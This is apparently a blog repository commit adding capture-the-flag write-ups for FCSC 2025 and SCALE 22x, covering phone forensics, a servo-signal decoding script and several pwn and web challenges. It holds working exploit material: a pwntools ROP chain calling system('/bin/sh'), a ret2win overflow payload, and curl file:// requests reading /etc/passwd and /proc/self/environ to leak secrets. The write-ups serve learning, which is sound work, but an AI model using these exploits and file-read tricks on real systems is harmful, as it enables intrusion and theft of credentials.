Adds fcsc 2025 and scale 22x
This commit is contained in:
11
content/writeups/2025/fcsc/_index.md
Normal file
11
content/writeups/2025/fcsc/_index.md
Normal file
@@ -0,0 +1,11 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'FCSC 2025'
|
||||
+++
|
||||
|
||||
FCSC is the France Cyber Security Challenge organised by [ANSSI](https://cyber.gouv.fr/) (agence nationale de la sécurité des systèmes d'information) in order to create the French team for [ECSC](https://ecsc.eu/) (european cyber security challenge).
|
||||
I have been participating casually for the last 2 years but this year I invested a reasonable amount of time into it. Not as much as I would have wanted to due to classes but I still managed to rank 310th in the general ranking and 27th in the junior ranking with 1381 points which is pretty good.
|
||||
|
||||
I solved 21 challenges some of them have writeups some not. Some of them where part of the intro category which consist of easier challenges of various categories they are marked with `(intro)` after the name.
|
||||
|
||||
47
content/writeups/2025/fcsc/forensic/iforensic.md
Normal file
47
content/writeups/2025/fcsc/forensic/iforensic.md
Normal file
@@ -0,0 +1,47 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'iForensic'
|
||||
tags = [ "forensic" ]
|
||||
+++
|
||||
|
||||
iForensic is a serie of challenge where the goal is to study an iphone.
|
||||
Here is the global description of this serie :
|
||||
|
||||
As you pass through customs, the customs officer asks you to hand over your phone and its unlock code. The phone is returned to you a few hours later...
|
||||
Suspicious, you send your phone to ANSSI's CERT-FR for analysis. CERT-FR analysts carry out a collection on the phone, consisting of a sysdiagnose and a backup.
|
||||
|
||||
We are given two tar archives, one containing a backup of the phone and the other what is apparently a crash report.
|
||||
|
||||
# iCrash
|
||||
|
||||
Title: iCrash (intro)
|
||||
Points: 25
|
||||
Number of solves: 661
|
||||
Description: It seems that a flag has hidden itself in the place where crashes are stored on the phone...
|
||||
|
||||
We go to `private/var/mobile/Library/Logs/CrashReporter` and there is a file called `fcsc_intro.txt`.
|
||||
```
|
||||
>>> cat fcsc_intro.txt
|
||||
FCSC{7a1ca2d4f17d4e1aa8936f2e906f0be8}
|
||||
```
|
||||
|
||||
# iDevice
|
||||
|
||||
Title: iDevice
|
||||
Points: 100
|
||||
Number of solves: 602
|
||||
Description:
|
||||
To start with, find some information of interest about the phone: iOS version and phone model identifier.
|
||||
The flag is in the format `FCSC{<model identifier>|<build number>}`. For example, for an iPhone 14 Pro Max running iOS 18.4 (22E240): `FCSC{iPhone15,3|22E240}`.
|
||||
|
||||
|
||||
To find these informations I opened the file named `Info.plist` at the root of the backup which contains informations about the device and found the information I was looking for.
|
||||
```
|
||||
<key>Build Version</key>
|
||||
<string>20A362</string>
|
||||
...
|
||||
<key>Product Type</key>
|
||||
<string>iPhone12,3</string>
|
||||
```
|
||||
So the flag is `FCSC{iPhone12,3|20A362}`.
|
||||
BIN
content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png
Normal file
BIN
content/writeups/2025/fcsc/hardware/badd_circuit/baddcircuit.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 114 KiB |
19
content/writeups/2025/fcsc/hardware/badd_circuit/index.md
Normal file
19
content/writeups/2025/fcsc/hardware/badd_circuit/index.md
Normal file
@@ -0,0 +1,19 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'Badd Circuit (intro)'
|
||||
tags = [ 'hardware' ]
|
||||
+++
|
||||
|
||||
Title: Badd Circuit (intro)
|
||||
Points: 25
|
||||
Number of solves: 512
|
||||
Description:
|
||||
Here is a logic circuit that implements an unknown function. What is the value of the four output bits?
|
||||
The flag format is FCSC{<value>}. For example, if the value to find is 0001, the flag would be FCSC{0001}.
|
||||
|
||||

|
||||
|
||||
Two options here either rebuild the circuit in a digital simulator like the great [digital](https://github.com/hneemann/Digital) (the name is not that great but the software is). Or do it by hand wich is much faster.
|
||||
So I just wrote down what the ouput of each gate is (sometime you can skip some) and got the flag.
|
||||
I forgot to write it down and am too lazy to do it again so let's say that I leave it as an exercice for the reader.
|
||||
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 126 KiB |
158
content/writeups/2025/fcsc/hardware/mechanical_display/index.md
Normal file
158
content/writeups/2025/fcsc/hardware/mechanical_display/index.md
Normal file
@@ -0,0 +1,158 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'Mechanical Display'
|
||||
tags = [ 'hardware' ]
|
||||
+++
|
||||
|
||||
Title: Mechanical Display
|
||||
Points: 238
|
||||
Number of solves: 120
|
||||
Description:
|
||||
One of your team-mates has found a broken device. It looks like a clock, but there is only one hand pointing at some letters. You connect your logic analyser to a signal going to its only motor (mechanical-display.vcd). Can you find out what secret this object contains?
|
||||
Using the device model number, you manage to find a datasheet online (public/mechanical-display-datasheet.pdf).
|
||||
|
||||

|
||||
|
||||
That is a beautiful professional looking datasheet.
|
||||
So according to the datasheet we have a servomotor that receives pulses who last between 0.6ms and 2.4ms, the length of the pulse then maps to an angle of rotation .6 is -90deg so the default 0 position and 2.4ms maps to +90deg.
|
||||
|
||||
We are also given another file `mechanical-display.vcd`. A quick internet search tells us that vcd means [value change dump](https://en.wikipedia.org/wiki/Value_change_dump). Here is a sample of the content.
|
||||
```
|
||||
#0 0!
|
||||
#5290 1!
|
||||
#5489 0!
|
||||
#7290 1!
|
||||
#7489 0!
|
||||
#9291 1!
|
||||
#9489 0!
|
||||
#11291 1!
|
||||
#11490 0!
|
||||
#13291 1!
|
||||
#13490 0!
|
||||
#15292 1!
|
||||
#15490 0!
|
||||
#17292 1!
|
||||
```
|
||||
|
||||
It's easy to understand the format a timestamp is recorded for each change of the input bit (0->1 and 1->0). We can use that to calculate the length of each pulse and get the flag. However after throwing together a small python script it looks like the values are repeated so lets add a character to the flag only when the length of the pulse changes.
|
||||
|
||||
```python
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
flag = ""
|
||||
values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_']
|
||||
|
||||
with open('mechanical-display.vcd', 'r') as file:
|
||||
data = [line.strip() for line in file][11:]
|
||||
|
||||
last = ""
|
||||
first = data[1].split()[0][1:] second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
if char != last:
|
||||
flag += char
|
||||
last = char
|
||||
print(flag)
|
||||
```
|
||||
|
||||
So a quick explanation of the script :
|
||||
The `closest_number` function maps a pulse length to a multiple of 10 between 60 and 240 I then use this to get the correct character from the `values` list by bringing it back to a number between 0 and 19. Then every time the character changes we add the new character to the flag. Simple no ?
|
||||
```
|
||||
>>> ./solve.py
|
||||
FCSC{S232323232323232323232323232323232323232323232323232323232C92323232323232323232323232323232323232323232323232323232327_0232323232323232323232323232323232323232323232323232360AS_903232323232323232323232323232323232323232323232AS2323232323232323232323232323232323232323232323232323_54545454545454545454545B71D23232323232323232323232323232323232323232323232323232C7}
|
||||
```
|
||||
|
||||
Hum there might be a problem with the script. After examinating the values it looks like there is a little change for the same character from time to time. Ok no problem I will just make it so that only when there is a big change in the length of the pulse (at least 0.07ms) I record a new character. Here is the modified loop
|
||||
```python
|
||||
last = -1
|
||||
first = data[1].split()[0][1:]
|
||||
second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
# Change only when big value change
|
||||
if (diff - 7) > last or (diff + 7) < last:
|
||||
last = diff
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
flag += char
|
||||
print(flag)
|
||||
```
|
||||
|
||||
Now run my beautiful script
|
||||
```
|
||||
>>> ./solve.py
|
||||
FCSC{S2C927_02600AS_903AS2_5B71D2C7}
|
||||
```
|
||||
|
||||
And we have the `Incorrect flag`...
|
||||
|
||||
After some serious thinking about changing life to become a goat cheese maker and liquor brewer I went back to work.
|
||||
|
||||
It seems like at some point the value is exactly between 2 and 3 so my script doesn't find the correct values. I looked at the different pulse length and found one that seemed to be less than 0.6ms so I wrote a script to find the min and max values for the pulses :
|
||||
```
|
||||
>>> ./test.py
|
||||
min: 0.54
|
||||
max: 2.41
|
||||
```
|
||||
The minimum is 0.54 not 0.6 as written on the datasheet but that value can only map to a 0 as there is nothing before that. Therefore I made the conclusion that if there was a doubt in which value is beeing pointer I should choose the next round value (0.54 would be 0.6 and 0.85 0.9). To do this I added one line in my `closest_number` function :
|
||||
```python
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
# Make it so the next number gets selected
|
||||
target += 2
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
```
|
||||
|
||||
And now I just have to run it :
|
||||
```python
|
||||
>>> ./solve.py
|
||||
FCSC{S3C937_13601AS_913AS3_5B72D3C7}
|
||||
```
|
||||
|
||||
And there we go it's the correct flag.
|
||||
|
||||
The complete solve script :
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
target += 2
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
flag = ""
|
||||
values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_']
|
||||
|
||||
with open('mechanical-display.vcd', 'r') as file:
|
||||
data = [line.strip() for line in file][11:]
|
||||
|
||||
last = -1
|
||||
first = data[1].split()[0][1:]
|
||||
second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
if (diff - 7) > last or (diff + 7) < last:
|
||||
last = diff
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
flag += char
|
||||
print(flag)
|
||||
```
|
||||
File diff suppressed because it is too large
Load Diff
29
content/writeups/2025/fcsc/hardware/mechanical_display/solve.py
Executable file
29
content/writeups/2025/fcsc/hardware/mechanical_display/solve.py
Executable file
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
def closest_number(target):
|
||||
numbers = list(range(60, 241, 10))
|
||||
target += 2
|
||||
closest = min(numbers, key=lambda x: abs(x - target))
|
||||
return closest
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
flag = ""
|
||||
values = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'F', 'S', '{', '}', '_']
|
||||
|
||||
with open('mechanical-display.vcd', 'r') as file:
|
||||
data = [line.strip() for line in file][11:]
|
||||
|
||||
last = -1
|
||||
first = data[1].split()[0][1:]
|
||||
second = data[2].split()[0][1:]
|
||||
for i in range(3, len(data) - 1, 2):
|
||||
first = data[i].split()[0][1:]
|
||||
second = data[i+1].split()[0][1:]
|
||||
diff = int(second) - int(first)
|
||||
if (diff - 7) > last or (diff + 7) < last:
|
||||
last = diff
|
||||
val = closest_number(diff)
|
||||
char = str(values[int(val/10 - 6)])
|
||||
flag += char
|
||||
print(flag)
|
||||
202
content/writeups/2025/fcsc/pwn/xortp.md
Normal file
202
content/writeups/2025/fcsc/pwn/xortp.md
Normal file
@@ -0,0 +1,202 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'XORTP'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
Title: XORTP
|
||||
Points: 200
|
||||
Number of solves: 146
|
||||
Description: You can encrypt any file on the system with an unbreakable mechanism worthy of the greatest!
|
||||
|
||||
We are provided with the source code of the challenge and a compiled executable.
|
||||
|
||||
Ok so the code contains 3 functions including a `main`.
|
||||
```c
|
||||
ssize_t
|
||||
get_otp(unsigned char *k, const size_t n)
|
||||
{
|
||||
int fd = open("/dev/urandom", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (read(fd, k, n) < 0) {
|
||||
close(fd);
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
```
|
||||
|
||||
This `get_otp` (otp meaning one time password) function reads `n` bytes of data from `/dev/urandom` into the buffer pointed by `k` which provides a random encryption key to the program.
|
||||
|
||||
```c
|
||||
ssize_t
|
||||
read_file(char *fn, unsigned char *m)
|
||||
{
|
||||
int fd = open(fn, O_RDONLY);
|
||||
if (fd < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
ssize_t n = read(fd, m, BUF_SIZE);
|
||||
if (n < 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return n;
|
||||
}
|
||||
```
|
||||
|
||||
The `read_file` function does exactly what the name implies : it reads `BUF_SIZE` of data from the file which name is in `fn` into the buffer pointed by `m`.
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
|
||||
#define BUF_SIZE 128
|
||||
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
char filename[BUF_SIZE];
|
||||
unsigned char m[BUF_SIZE];
|
||||
unsigned char k[BUF_SIZE];
|
||||
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
system("ls -ld *");
|
||||
|
||||
printf("Which file would like to encrypt?\n");
|
||||
scanf("%s", filename);
|
||||
|
||||
ssize_t length = read_file(filename, m);
|
||||
if (length < 0) {
|
||||
printf("Error: read_file\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (get_otp(k, length) < 0) {
|
||||
printf("Error: get_otp\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Output the XOR result
|
||||
for (ssize_t i = 0; i < length; ++i) {
|
||||
printf("%02x", m[i] ^ k[i]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Now for the `main` part this displays the content of the current directory then reads a filename from the user and outputs up to the first 128 bytes xored with a random key.
|
||||
```
|
||||
>>> nc chall.fcsc.fr 2105
|
||||
-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt
|
||||
-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp
|
||||
Which file would like to encrypt?
|
||||
flag.txt
|
||||
9eec55fe66cc73bf87ea8d4decd037f715b697ededdfa40f1373b9dc47a0cef4bad96dd14a732ef32dddd5b11c8fcd3a93eb2f38dad24d19c1bca549d44e71b65ac4cfa53858b9
|
||||
```
|
||||
|
||||
Routine checksec for some information.
|
||||
```
|
||||
>>> pwn checksec --file xortp
|
||||
[*] '/home/furtest/files/hacking/ctf/fcsc/pwn/XORTP/xortp'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
|
||||
The encryption logic does not have any obvious flaws however we notice that there is no bound check on the filename `scanf("%s", filename);`
|
||||
The size of the buffer for filename is `BUF_SIZE` = 128
|
||||
Now how can we exploit this ? It is possible to send `filename\x00aaaa...` to input filename and make the file reading work and then trigger a segfault because we overwrote the return pointer.
|
||||
|
||||
Wait `segmentation fault` ? Checksec said that there is a stack canary the error should have been `stack smashing detected`. We can take a quick look at the decompiled binary in ghidra and indeed there is no canary on the main function. (This took me an embarrassingly long time to notice)
|
||||
Once we know that we need to take advantage of our capacity to control the return pointer of `main`. We cannot really take advantage of the functions in the program so we will try to perform a ret2libc and execute `system`.
|
||||
|
||||
One more cool thing that will make everything a lot easier : the binary is statically linked
|
||||
```
|
||||
>>> file xortp
|
||||
xortp: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e63dc8ebb3de92c338be2ed7f0590fbbbabd94f6, for GNU/Linux 3.2.0, not stripped
|
||||
```
|
||||
|
||||
So the binary is statically linked and PIE (position independant executabled) is disabled. Calling function is therefore just a matter of finding their address in the executable.
|
||||
We will to try to call `system("/bin/sh")` to do that we find a `/bin/sh` string at address `0x498213` and the `system` function at address `0x40a3c0`.
|
||||
|
||||
To execute it we need to put a pointer to `/bin/sh` in `rdi` as per the x86-64 ABI.
|
||||
We will use a rop (return oriented programming) gadget to do so.
|
||||
```
|
||||
>>> ropper -f xortp --search "pop rdi; ret;"
|
||||
0x0000000000401f60: pop rdi; ret;
|
||||
```
|
||||
|
||||
So recapitulating where we are :
|
||||
- We have a buffer overflow on the filename input
|
||||
- We can use it to overwrite the return pointer
|
||||
- The binary is statically linked and PIE is disabled
|
||||
- We have the address of a `/bin/sh` string a rop gadget to load it in `rdi` and the address of `system`.
|
||||
|
||||
The next step is to write a nice little pwntools script to put all of that together.
|
||||
|
||||
```python
|
||||
io = start()
|
||||
|
||||
system = 0x40a3c0
|
||||
binsh = 0x498213
|
||||
|
||||
# Find the rop gadget
|
||||
rop = ROP(elf)
|
||||
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
|
||||
|
||||
payload = flat(
|
||||
b"flag.txt\x00",
|
||||
b"A"*(145-2),
|
||||
pack(POP_RDI),
|
||||
pack(binsh),
|
||||
pack(system),
|
||||
pack(0x0)
|
||||
)
|
||||
|
||||
print(io.recvline().decode(), end="")
|
||||
print(io.recvline().decode(), end="")
|
||||
io.sendlineafter(b'Which file would like to encrypt?\n', payload)
|
||||
print(io.recvline().decode(), end="")
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
We run the script and tadam : `[1] 17615 segmentation fault (core dumped)`
|
||||
Hum looks like I forgot to take stack alignment into account (I ran the exploit in gdb to figure it out).
|
||||
|
||||
So I need to make the stack 16 bytes aligned (ie `rsp` must be modulo 16).
|
||||
After manually stepping through the code we can see that one of the first instructions executed by `system` is `push r13` which changes `rsp` by 8 bytes.
|
||||
So instead of jumping to the start of `system` we jump after this `push` and our exploit works.
|
||||
|
||||
```
|
||||
>>> ./exploit.py REMOTE
|
||||
-r-------- 1 ctf ctf 71 Apr 13 21:36 flag.txt
|
||||
-r-x------ 1 ctf ctf 899704 Apr 13 21:36 xortp
|
||||
bf40d970d624855062f89d3f2e39c3c2c8370fabe53e304fd014e866cfee994353f58dfb3580170a3dd26342659f9035075d4ecd59da8324a7c841a4f2df6b88a40771d95b3fa7
|
||||
$ ls
|
||||
flag.txt
|
||||
xortp
|
||||
$ cat flag.txt
|
||||
FCSC{5f6162c46e47b68ad0d1b4a5e12404ad51431b197e37ff79ef940787fecfb554}
|
||||
```
|
||||
14
content/writeups/2025/fcsc/web/win95_forever.md
Normal file
14
content/writeups/2025/fcsc/web/win95_forever.md
Normal file
@@ -0,0 +1,14 @@
|
||||
+++
|
||||
date = '2025-04-27T14:23:22+02:00'
|
||||
draft = false
|
||||
title = 'Win95 Forever (intro)'
|
||||
tags = [ "web" ]
|
||||
+++
|
||||
|
||||
Title: Win95 Forever (intro)
|
||||
Points: 25
|
||||
Number of solves: 1478
|
||||
Description: Bienvenue dans les années 90 !
|
||||
|
||||
We are presented with a simple web page and the flag is in the source code :)
|
||||
`FCSC{d31df42c489570dae488fa071326510903ef452dcde00a2dd22447c7d15ae104}`
|
||||
14
content/writeups/2025/scale/_index.md
Normal file
14
content/writeups/2025/scale/_index.md
Normal file
@@ -0,0 +1,14 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'SCALE 22x'
|
||||
+++
|
||||
|
||||

|
||||
|
||||
I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers.
|
||||
The CTF lasted 2h30 and me and a friend were able to get first place.
|
||||
|
||||
- Web
|
||||
- [artist](./web.md)
|
||||
- [the_dev_robots](./web.md)
|
||||
42
content/writeups/2025/scale/exploitation/acid_burn.md
Normal file
42
content/writeups/2025/scale/exploitation/acid_burn.md
Normal file
@@ -0,0 +1,42 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'Acid burn'
|
||||
tags = ['pwn']
|
||||
+++
|
||||
|
||||
Here is the decompiled code for the challenge.
|
||||
```c
|
||||
int main(void)
|
||||
{
|
||||
int iVar1;
|
||||
char input [64];
|
||||
|
||||
printf("What is the password?\n?: ");
|
||||
fflush(stdout);
|
||||
fgets(input,0x80,stdin);
|
||||
iVar1 = strcmp(input,"password\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("incorrect password");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
There is a pretty large buffer overflow on the `input` variable and there also conveniently is a function called `flag` that displays the flag (and of course all the protections are disabled).
|
||||
This is a classic ret2win scenario where we have to overwrite the return pointer to jump to the `flag` function.
|
||||
A small python script using pwntools should do the job.
|
||||
```python
|
||||
io = start()
|
||||
|
||||
payload = flat(
|
||||
b'A'*(64+8),
|
||||
pack(elf.symbols.flag))
|
||||
|
||||
write("payload", payload)
|
||||
io.sendlineafter(b'?: ', payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
I didn't save the flag but this works and solves the challenge.
|
||||
68
content/writeups/2025/scale/exploitation/crash_override.md
Normal file
68
content/writeups/2025/scale/exploitation/crash_override.md
Normal file
@@ -0,0 +1,68 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'Crash override'
|
||||
tags = ['pwn']
|
||||
+++
|
||||
|
||||
This challenge is funny and I've never seen it before it was really easy once I turned on my brain and realised that the solution isn't supposed to work on my local system without the provided container and that I should try on the remote.
|
||||
|
||||
So we get a file and the usual nc command, as always lets fire up ghidra and see what we're dealing with.
|
||||
|
||||
```c
|
||||
int main(void)
|
||||
{
|
||||
int iVar1;
|
||||
char input [64];
|
||||
|
||||
signal(0xb,on_segfault);
|
||||
printf("What is the password?\n?: ");
|
||||
fflush(stdout);
|
||||
fgets(input,0x80,stdin);
|
||||
iVar1 = strcmp(input,"password\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("incorrect password");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
This looks like a simple password checking function, however we quickly notice two things.
|
||||
1. First we have a nice little buffer overflow on the input, we are able to input 0x80 chars (which is 128 in decimal) inside of a 60 bytes buffer. For a beginner oriented CTF this isn't surprising.
|
||||
2. More surprising is the use of `signal` which I guessed allows to do something when receiving a syscall. After a quick look at the manual I was right. This allow us to map a signal to a function resulting in a call to the function being performed when the signal is received by the program (I don't think this is all and I am not sure that it is exactly what happens but it's more than enough to do the challenge). By the name of the function and after a quick look on the internet we can confirm that `0xb` (11 in decimal) is the syscall number for `SIGSEGV` better know as the segmentation fault (invalid memory reference, tried to dereference an invalid pointer).
|
||||
|
||||
So putting it all together we have a buffer overflow that allows us to trigger a segfault by overriding the return pointer and a function that executes when a segfault occurs. But what's that function ?
|
||||
|
||||
```C
|
||||
void on_segfault(int sig_num)
|
||||
{
|
||||
int iVar1;
|
||||
FILE *__stream;
|
||||
char acStack_b0 [64];
|
||||
code *pcStack_70;
|
||||
int sig_num_local;
|
||||
char data [64];
|
||||
FILE *fd;
|
||||
|
||||
sig_num_local = sig_num;
|
||||
__stream = fopen("./flag","r");
|
||||
fgets(data,0x40,__stream);
|
||||
printf("%s",data);
|
||||
fclose(__stream);
|
||||
FUN_00401140(1);
|
||||
signal(0xb,on_segfault);
|
||||
printf("What is the password?\n?: ");
|
||||
fflush(stdout);
|
||||
fgets(acStack_b0,0x80,stdin);
|
||||
iVar1 = strcmp(acStack_b0,"password\n");
|
||||
if (iVar1 != 0) {
|
||||
puts("incorrect password");
|
||||
fflush(stdout);
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
I removed some bloat but what this function basically does is read the flag and print it.
|
||||
So we know what to do, trigger a segfault and you're done. To do that send about 100 characters and you get the flag.
|
||||
BIN
content/writeups/2025/scale/logo_scale.png
Normal file
BIN
content/writeups/2025/scale/logo_scale.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 188 KiB |
41
content/writeups/2025/scale/misc/bashcrawl.md
Normal file
41
content/writeups/2025/scale/misc/bashcrawl.md
Normal file
@@ -0,0 +1,41 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'bashcrawl'
|
||||
tags = ['misc']
|
||||
+++
|
||||
|
||||
Bashcrawl is a series of challenges revolving around the [bashcrawl](https://github.com/mks22-dw/bashcrawl) game which purpose is to teach the basics of using a POSIX (Linux, BSD, UNIX) terminal.
|
||||
Having used Linux for a few years I did not need to learn how to use the command line and didn't have time either as I had a CTF to win.
|
||||
So I decided to use alternate ways of finding the answers to the challenges. This will mostly resolve around using `grep` to find where is the part related to the current challenge.
|
||||
If you want to try this yourself just clone the [repo](https://github.com/mks22-dw/bashcrawl).
|
||||
Without further ado lets get started.
|
||||
|
||||
## Bashcrawl 1
|
||||
|
||||
Where are you ?
|
||||
|
||||
This is an easy one and we simply need to give the name of the starting directory which is `entrance`.
|
||||
|
||||
## Bashcrawl 2
|
||||
|
||||
Where does the portal lead ?
|
||||
|
||||
We are supposed to play the game until we encounter a portal (which is creating a link using `ln`) and give the name of the directory we end up in.
|
||||
But this is to long I don't have time to play this game so :
|
||||
```bash
|
||||
$ grep -r "portal"
|
||||
```
|
||||
```txt
|
||||
cellar/armoury/chamber/spell: echo "a portal that will allow you to walk through"
|
||||
cellar/armoury/chamber/spell: echo "ln -f -s `pwd`/../../../chapel/courtyard/aviary/hall portal"
|
||||
.scrap:# ln -s ../../../../.rift portal
|
||||
```
|
||||
|
||||
There are two places where a portal is mentionned in the .scrap file and in a file in the chamber . As a lazy person I of course start by the one I am already in, the portal that lead to the rift. Wrong flag, ok then it's the other one. I try the other one and it's correct, the flag is `spell`.
|
||||
|
||||
## Bashcrawl 3-6
|
||||
|
||||
I am not going to give you all the solutions you will have to finish by yourself 😉
|
||||
|
||||
|
||||
47
content/writeups/2025/scale/web/web.md
Normal file
47
content/writeups/2025/scale/web/web.md
Normal file
@@ -0,0 +1,47 @@
|
||||
+++
|
||||
date = '2025-04-28T12:00:00+02:00'
|
||||
draft = false
|
||||
title = 'Web challenges'
|
||||
tags = ['web']
|
||||
+++
|
||||
|
||||
Two challenges solved in web
|
||||
|
||||
# The dev robots
|
||||
|
||||
This involved downloading an exposed .git and using the git history to recover an admin password.
|
||||
|
||||
# Artist
|
||||
|
||||
This was a webpage with a function to change the background to any image using curl on the server.
|
||||
```python
|
||||
@app.route('/set_background', methods=['POST'])
|
||||
def set_background():
|
||||
try:
|
||||
background = request.json.get('background', '')
|
||||
|
||||
if not (background.startswith('#') or background.startswith('rgb') or background.replace(' ', '').isalpha()):
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['curl', '-s', '-L', background],
|
||||
capture_output=True,
|
||||
shell=False
|
||||
)
|
||||
|
||||
if result.returncode == 0 and result.stdout:
|
||||
encoded = base64.b64encode(result.stdout).decode('utf-8')
|
||||
return jsonify({
|
||||
'background': f'data:image/png;base64,{encoded}'
|
||||
})
|
||||
return jsonify({'background': ''})
|
||||
```
|
||||
|
||||
This way of calling curl using subprocess is (as far as I know) immune to command injections attacks however we still control the url field.
|
||||
curl supports a really useful protocol called `file` which allows you to read any file on the system (as long as the use running the process as read permissions).
|
||||
|
||||
So we can for example send `file:///etc/passwd` for the url of the background and we will receive the base64 encoded content of the file.
|
||||
Ok but this doesn't seem that useful at first because there is no `flag.txt` the flag is an environment variable.
|
||||
Something nice about linux is that a lot of informations on the current state of the different processes is avaible in the `/proc` pseudo filesystem. In that filesystem we have the directory `/proc/self` containing informations about the process that reads it.
|
||||
And furthermore in that directory is the file `/proc/self/environ` which when read returns all the environment variables for the current process.
|
||||
|
||||
So we send `file:///proc/self/environ` as the url for the background image and receive all the environment variables base64 encoded. Including the flag.
|
||||
Reference in New Issue
Block a user